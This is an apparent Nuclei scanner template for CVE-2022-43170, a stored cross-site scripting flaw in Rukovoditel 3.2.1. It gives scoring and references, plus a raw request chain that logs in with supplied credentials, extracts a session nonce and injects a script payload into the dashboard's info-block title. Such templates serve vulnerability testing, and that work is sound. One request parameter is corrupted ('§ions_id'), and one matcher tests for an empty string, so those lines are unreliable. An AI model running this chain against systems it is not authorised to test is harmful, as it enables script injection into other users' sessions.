id: CVE-2022-43170 info: name: Rukovoditel <= 3.2.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | A stored cross-site scripting (XSS) vulnerability in the Dashboard Configuration feature (index.php?module=dashboard_configure/index) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title parameter after clicking "Add info block". impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application. remediation: | Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability. reference: - https://github.com/anhdq201/rukovoditel/issues/6 - http://rukovoditel.com/ - https://nvd.nist.gov/vuln/detail/CVE-2022-43170 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-43170 cwe-id: CWE-79 epss-score: 0.30215 epss-percentile: 0.9694 cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: rukovoditel product: rukovoditel shodan-query: http.favicon.hash:-1499940355 fofa-query: icon_hash=-1499940355 tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated http: - raw: - | GET /index.php?module=users/login HTTP/1.1 Host: {{Hostname}} - | POST /index.php?module=users/login&action=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded form_session_token={{nonce}}&username={{username}}&password={{password}} - | POST /index.php?module=dashboard_configure/index&action=save&token={{nonce}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded form_session_token={{nonce}}&type=info_block&is_active=1§ions_id=0&color=default&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&icon=&description=&sort_order= redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'status_code_3 == 200' - 'contains(content_type_3, "text/html")' - 'contains(body_3, "")' - 'contains(body_3, "rukovoditel")' condition: and extractors: - type: regex name: nonce group: 1 regex: - 'id="form_session_token" value="(.*)" type="hidden"' internal: true # digest: 490a0046304402203a9f70675d0f9bbc565259bec1b966bb4bc99bc470cf99302ee287e5dc66c76102201dc4505f6d046ffad4cac841b64bb7ca57c420eab6045422bb18804578d1219a:922c64590222798bb761d5b6d8e72950